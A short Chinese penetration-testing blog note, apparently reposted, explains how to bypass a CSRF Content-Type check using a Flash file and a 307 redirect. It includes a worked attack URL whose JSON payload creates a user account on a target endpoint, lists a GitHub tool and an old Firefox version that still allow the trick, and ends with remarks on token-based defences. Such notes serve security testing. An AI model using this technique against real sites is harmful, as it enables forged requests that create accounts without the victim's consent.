CSRF 校验CONTENT-TYPE绕过

一:flash配合307跳转绕过

利用方式:http://remote_ip/csrf/test.swf?jsonData={"status":"0","roleId":5,"name":"csrftest_2","username":"csrftest_2","password":"637c3de5385ae556ac6bf955340a713f"}&php_url=http://remote_ip/csrf/test.php&endpoint=https://attacted_ip/dm/user?timestamp=1558073429923

remote_ip:放置test.swf、test.php文件的服务器地址
jsonData:原本需要post传输的数据
php_url:test.php文件所在的访问路径
endpoint:存在CSRF漏洞的访问地址

相关文件地址:https://github.com/sp1d3r/swf_json_csrf
下载后放置在特定的web目录下即可

详细分析:http://www.shystartree.com/2018/12/08/%E8%B0%88%E8%B0%88json%E6%A0%BC%E5%BC%8F%E4%B8%8B%E7%9A%84csrf%E6%94%BB%E5%87%BB/

在用火狐测试的时候,没更新前能正常演示,更新后就复现不出来了
对浏览器版本有要求,导致307无法正常跳转,推荐火狐49
火狐下载地址:http://ftp.mozilla.org/pub/firefox/releases/

之前一直都说csrf防御是加token,默认都是加在cookie字段里,由于这个是保存在sessionStorage,所以要求每刷新一次,token就必须更新一次
今天开发同学把token拿到cookie外面,且token固定,测试了下,貌似也能防护住

关于localstorage、cookie、sessionstorage的区别,参考
https://jerryzou.com/posts/cookie-and-web-storage/

原文地址:https://www.cnblogs.com/sojrs/p/10884948.html